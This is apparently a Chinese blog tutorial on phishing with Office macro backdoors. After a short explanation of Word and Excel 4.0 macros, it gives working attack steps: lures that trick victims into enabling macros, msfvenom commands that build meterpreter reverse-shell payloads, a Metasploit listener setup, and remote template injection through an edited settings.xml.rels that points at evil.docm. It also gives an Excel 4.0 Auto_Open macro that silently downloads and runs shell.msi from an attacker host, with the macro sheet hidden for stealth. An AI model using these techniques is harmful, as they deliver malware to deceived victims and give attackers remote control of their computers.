钓鱼攻击之:OFFICE 宏后门文件钓鱼

1 宏病毒介绍

1.1 Word 宏

  • Word的文件建立是通过模板来创建的,模板是为了形成最终文档而提供的特殊文档,模板可以包括以下几个元素:菜单、宏、格式(如备忘录等)。模板是文本、图形和格式编排的蓝图,对于某一类型的所有文档来说,文本、图像和格式编排都是类似的,即模板作为基类,文档继承模板的属性,包括宏、菜单、格式等。Word提供了几种常见文档类型的模板,如备忘录、报告和商务信件。一般情况下,Word自动将新文档基于缺省的公用模板(Normal.dot)。
  • Word处理文档需要同时进行各种不同的动作,每一种动作其实都对应着特定的宏命令,如存文件与FileSave相对应、改名存文件对应着FileSaveAS、打印则对应着FilePrint等。Word打开文件时,它首先要检查是否有AutoOpen宏存在,假如有这样的宏,Word就启动它,除非在此之前系统已经被“取消宏(Disable Auto Macros)”命令设置成宏无效。当然,如果AutoClose宏存在,则系统在关闭一个文件时,会自动执行它。
  • 通常,宏病毒至少会包含一个以上的自动宏(如AutoOpen、AutoClose、AutoExec、AutoExitAutoNew等),或者是一个以上的标准宏,如FileOpen、FileSaveAs等。由自动宏和/或标准宏构成的宏病毒,其内部都具有把带病毒的宏移植(复制)到通用宏的代码段,也就是说宏病毒通过这种方式实现对其他文件的传染。当Word系统退出时,它会自动地把所有通用宏(当然也包括传染进来的病毒宏)保存到模板文件中(即*.DOT文件,通常为NORMAL.DOT),当Word系统再次启动时,它又会自动地把所有通用宏(包括病毒宏)从模板中装入。如此这般,一旦Word系统遭受感染,则以后每当系统进行初始化时,系统都会随着NORMAL.DOT的载入而成为带毒的Word系统,继而在打开和创建任何文档时感染该文档。
  • 一旦病毒宏侵入Word系统,它就会替代原有的正常宏,如FileOpen、FileSave、FileSaveAsFilePrint等,并通过这些宏所关联的文件操作功能获取对文件交换的控制。当某项功能被调用时,相应的病毒宏就会篡夺控制权,实施病毒所定义的非法操作,包括传染操作、表现操作以及破坏操作等。宏病毒在感染一个文档时,首先要把文档转换成模板格式,然后把所有病毒宏(包括自动宏)复制到该文档中。被转换成模板格式后的染毒文件无法转存为任何其他格式。含有自动宏的宏病毒染毒文档,当被其他计算机的Word系统打开时,便会自动感染该计算机。例如,如果病毒捕获并修改了FileOpen,那么它将感染每一个被打开的Word文件。
  • 宏病毒主要寄生于AutoOpen、AutoCloseAutoNew 3个宏中,其引导、传染、表现或破坏均通过宏指令来完成的。宏指令是用宏语言WORDBASIC编写的,宏语言提供了许多系统级底层功能调用,因此,宏病毒利用宏语言实现其传染、表现或破坏的目的。

1.2 Excel 4.0宏

  1992年发布用于Windows 3.0和3.1的电子表格软件Excel 4.0。对于自动化,可以通过所谓的宏工作表在此版本的Excel中使用XLM宏。X由于Microsoft很早就使用VBA宏(Visual Basic for Applications)来代替Excel 4.0宏技术,这导致Excel 4.0宏并不为大众所熟知。并且Excel 4.0宏存放在Excel 97 - 2003格式(.xls)文件中。

2 生成 Word 宏后门

  1. 利用技巧:

    • 文档是被保护状态,需要启用宏才能查看;
    • 添加一张模糊的图片,提示需要启用宏才能查看高清图片;
    • 提示要查看文档,按给出的一系列步骤操作;
    • 贴一张某杀毒软件的Logo图片,暗示文档被安全软件保护。
  2. 利用CS生成宏后门Payload:attack-->payload--> office macro

  3. MSF生成宏:

    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.2 lport=480 -f vba -o shellcode.txt
  4. 保存为支持宏的格式为:.docm

  5. 缺点:宏代码是存在本地的,且极易被杀软查杀

3 利用DOCX文件远程模板注入执行宏

  • 利用Word文档加载附加模板时的缺陷所发起的恶意请求而达到的攻击目的,所以当目标用户点开攻击者发给他的恶意word文档就可以通过向远程服务器发送恶意请求的方式,然后加载模板执行恶意模板的宏。

  • 与传统的宏启⽤⽂档相⽐,这种攻击的好处是多⽅⾯的。发送的文档本身是不带恶意代码的,能过很多静态的检测。只需要在远程DOTM文档中编写宏病毒或者宏木马即可完成攻击。

  1. 利用技巧:需要创建两个不同的文件

    • 第一个是启用宏的模板.dotm文件,该文件包含恶意VBA宏,格式要选择

      • 注意:是.dotm格式,.docm经过测试无法运行(GET该文件显示304状态码)
    • 第二个是看似没有危害的.docx文件,本身不包含恶意代码,只有指向恶意模板文件的目标链接。
      • 注意:不要编写纯文本的文档
  2. 生成.docm 文件,参考步骤1.2.2

  3. 生成.docx文件

    1. 打开word

    2. 选择文件-->新建-->选择一个模板并点击创建-->保存该文档

    3. 修改该.docx文件后缀为.zip格式,并解压。

    4. 进入到解压后的文件如下目录:word\_rels,找到settings.xml.rels文件

    5. 打开并编辑settings.xml.rels文件

      <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
      <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file:///C:\Users\f_carey\AppData\Roaming\Microsoft\Templates\快照日历.dotm" TargetMode="External"/></Relationships>

      编辑Target如下,并保存:

      <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
      <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="http://192.168.0.2:8080/evil.docm" TargetMode="External"/></Relationships>
      • 将其修改为我们docm文件所在的URL
    6. 将其中所有目录及文件选中,点击右键压缩,选中压缩文件格式为.zip格式

    7. 然后将其后缀名修改为.docx格式,再将其打开

    8. 选择启用宏以后,远程服务器的模板成功加载

4 Excel 4.0 宏后门

  1. MSF生成MSI文件,并放在远程文件服务器上以供下载

    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.50.2 lport=1080 -f msi -o shell.msi
  2. MSF监听会话

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.50.2
    set lport 4444
    run -j
  3. 新建一个Excel并打开-->右键点击左下角标签页,选择插入-->弹出的窗口选择:MS Excel 4.0 宏表

  4. 在宏1标签页中:

    # 在左上角第一个格子,输入以下内容,调用远程服务器上的shell.msi文件
    # 第二个格子输入以下内容,标识Excel 4.0宏结束
    =EXEC("msiexec /q /i http://192.168.50.2/shell.msi")
    =HALT()
    # 将左上角的A1模式修改为:Auto_Open,并Enter回车,自动运行宏。

  5. 为了避免对方打开能看到宏文件,增强隐蔽性,将宏1标签页进行隐藏。

  6. 保存为.xlsm格式文件

  7. 将文件发送给目标,当目标点击文件并启用宏时,宏会自动下载远程恶意MSI文件并运行,成功上线

钓鱼攻击之:OFFICE 宏后门文件钓鱼的更多相关文章

  1. 支付SDK的安全问题——隐式意图可导致钓鱼攻击

     该漏洞涉及到app所使用的intent和intent filter. intent是一个可用于从一个app组件请求动作或处理事件的“消息对象”.Intent负责对应用中一次操作的动作.动作涉及数据. ...

  2. 钓鱼攻击之远程加载恶意Word模版文件上线CS

    0x00 前言 利用Word文档加载附加模板时的缺陷所发起的恶意请求而达到的攻击目的,所以当目标用户点开攻击者发给他的恶意word文档就可以通过向远程服务器请求恶意模板并执行恶意模板上的恶意代码.这里 ...

  3. CobaltStrike 生成office宏病毒进行钓鱼攻击

    关于WORD宏: 在百度百科上有: 宏是一个批量处理程序命令,正确地运用它可以提高工作效率.微软的office软件允许用户自己编写,叫VBA的脚本来增加其灵活性,进一步扩充它的能力.如完打开word文 ...

  4. 无线安全: 通过伪AP进行DHCP+DNS劫持的钓鱼攻击

    有了之前学习802.11的数据帧格式.芯片硬件参数学习的基础后,我们接下来继续学习无线安全中黑客是怎样进行流量劫持攻击的 相关学习资料 http://www.freebuf.com/articles/ ...

  5. pikachu练习平台(XSS-漏洞测试案例(cookie的窃取和利用、钓鱼攻击、XSS获取键盘记录))

    XSS-漏洞测试案例 xss案例 1.cookie的窃取和利用 2.钓鱼攻击 3.XSS获取键盘记录 在进行案例之前首先要搭建xss后台 搭建xss后台 1.在pikachu文件夹下面,把pkxss单 ...

  6. DNS欺骗:网站克隆实现网站钓鱼攻击

    1 DNS 1.1 DNS是什么? 域名系统(Domain Name System)是互联网使用的命名系统,用来将主机域名转换为 ip 地址,属于应用层协议,使用 UDP 传输. 1.2 为什么需要D ...

  7. 风炫安全WEB安全学习第二十四节课 利用XSS钓鱼攻击

    风炫安全WEB安全学习第二十四节课 利用XSS钓鱼攻击 XSS钓鱼攻击 HTTP Basic Authentication认证 大家在登录网站的时候,大部分时候是通过一个表单提交登录信息. 但是有时候 ...

  8. [转帖]基于VIM漏洞CVE-2019-12735的VIM宏后门病毒详解

    基于VIM漏洞CVE-2019-12735的VIM宏后门病毒详解 不明觉厉 只要是人做的东西 就会有bug 就会有安全问题 就看发现bug 或者是发现安全问题 有没有收益了 会用linux的都是比较熟 ...

  9. 【原创】利用Office宏实现powershell payload远控

    本文将演示使用Veil-Evasion生成远控所需要的payload以及监听器,然后使用MacroShop生成payload 相关的VBA代码,最后演示将VBA代码写入.doc文本文档的宏中. 环境: ...

  10. 转:攻击JavaWeb应用[8]-后门篇

    转:http://static.hx99.net/static/drops/tips-662.html 攻击JavaWeb应用[8]-后门篇 园长 · 2013/10/11 19:19 0x00 背景 ...

随机推荐

  1. React Server Component: 混合式渲染

    作者:谢奇璇 React 官方对 Server Comopnent 是这样介绍的: zero-bundle-size React Server Components. 这是一种实验性探索,但相信该探索 ...

  2. Qwt开发笔记(一):Qwt简介、下载以及基础demo工程模板

    前言   QWT开发笔记系列整理集合,这是目前使用最为广泛的Qt图表类(Qt的QWidget代码方向只有QtCharts,Qwt,QCustomPlot),使用多年,系统性的整理,本系列旨在系统解说并 ...

  3. 【大数据-课程】高途-天翼云侯圣文-Day1:互联网大数据揭秘(大数据介绍&MR实现双十一举牌)

    一.大厂职级 P7:年薪百万 二.大数据发展 1.职业路线和岗位角色 2.大数据行业发展 三.大数据的位置 1.热门行业 大数据承上启下 2.三者关系 啤酒和尿不湿:启发可以放在一块 3.大数据作用 ...

  4. Spring学习笔记 - 第二章 - 注解开发、配置管理第三方Bean、注解管理第三方Bean、Spring 整合 MyBatis 和 Junit 案例

    Spring 学习笔记全系列传送门: Spring学习笔记 - 第一章 - IoC(控制反转).IoC容器.Bean的实例化与生命周期.DI(依赖注入) [本章]Spring学习笔记 - 第二章 - ...

  5. pytest.ini配置文件格式

    [pytest] # 命令行参数,用空格分隔 addopts = -v -n=2 # 配置测试用例所在文件夹 testpaths = ./pytest_1 # 配置需要执行的模块文件名称 python ...

  6. 【c#】从外部复制文本、图片到我的软件中的解决方案(支持ppt,qq等)

    原文地址 https://www.cnblogs.com/younShieh/p/17010572.html 如果本文对你有所帮助,不妨点个关注和推荐呀,这是对笔者最大的支持~       我们先考虑 ...

  7. 【博学谷学习记录】超强总结,用心分享|前端开发HTML知识总结

    HTML知识总结 字体加粗标签 注释快捷键 Ctrl + / 代码后缩进:shift + tad 1HTML标签 1.1排版标签介绍 1.1.1标题标签 <h1>1级标题<h1/&g ...

  8. [编程基础] C++多线程入门7-条件变量介绍

    原始C++标准仅支持单线程编程.新的C++标准(称为C++11或C++0x)于2011年发布.在C++11中,引入了新的线程库.因此运行本文程序需要C++至少符合C++11标准. 文章目录 7 条件变 ...

  9. Netty-架构设计及入门程序-3

    一.原生 NIO 存在的问题 1.NIO 的类库和 API 繁杂,使用麻烦:需要熟练掌握 Selector.ServerSocketChannel.SocketChannel.ByteBuffer等. ...

  10. 区块链特辑——solidity语言基础(三)

    Solidity语法基础学习 五.映射类型: 映射型态 Mapping Type 映射钥匙Key → 真实资料 Value mapping(KeyType → ValueType) VariableN ...